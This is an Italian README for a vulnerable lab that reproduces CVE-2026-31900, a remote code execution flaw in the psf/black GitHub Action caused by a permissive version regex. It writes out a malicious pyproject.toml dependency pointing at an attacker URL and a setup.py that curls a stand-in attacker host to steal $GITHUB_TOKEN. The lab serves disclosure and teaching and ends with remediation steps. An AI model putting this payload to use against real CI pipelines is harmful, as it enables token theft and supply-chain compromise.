
CVE-2026-31900 Laboratorio Vulnerabile - RCE nell'azione GitHub di psf/black
| Campo | Dettaglio |
|---|
| CVE | CVE-2026-31900 |
| CVSS | 8.7 (Alto) |
| Advisory | GHSA-v53h-f6m7-xcgm |
| Interessati | psf/black GitHub Action < v26.3.0 |
| Tipo | RCE tramite Supply Chain (trigger pull_request) |
L'opzione use_pyproject: true legge la versione di Black da pyproject.toml. La regex utilizzata per validare la stringa della versione è eccessivamente permissiva a causa di re.IGNORECASE, consentendo caratteri come spazio, @, : e / — esattamente ciò che serve per un requisito URL PEP 508.
BLACK_VERSION_RE = re.compile(r"^black(\[^A-Z0-9.\_-\]+.\*)$", re.IGNORECASE)
pyproject.toml nel tuo fork:[project]
dependencies = [
"black @ https://attacker.com/malicious_black.tar.gz"
]
pull_request si attivapyproject.toml, bypassando la validazione regexsetup.py esegue codice arbitrariosetup.py del Pacchetto Dannosofrom setuptools import setup
import os
os.system("curl https://attacker.com/exfil?token=$GITHUB_TOKEN")
setup(name="black", version="26.1.0")
$GITHUB_TOKEN (token del runner CI)Aggiorna a psf/black v26.3.0 oppure fissa esplicitamente la versione nel YAML del workflow invece di usare use_pyproject: true.
.github/workflows/black.yml ← Workflow vulnerabile (use_pyproject: true)
pyproject.toml ← Configurazione legittima (ramo main)
app.py ← File Python di esempio da formattare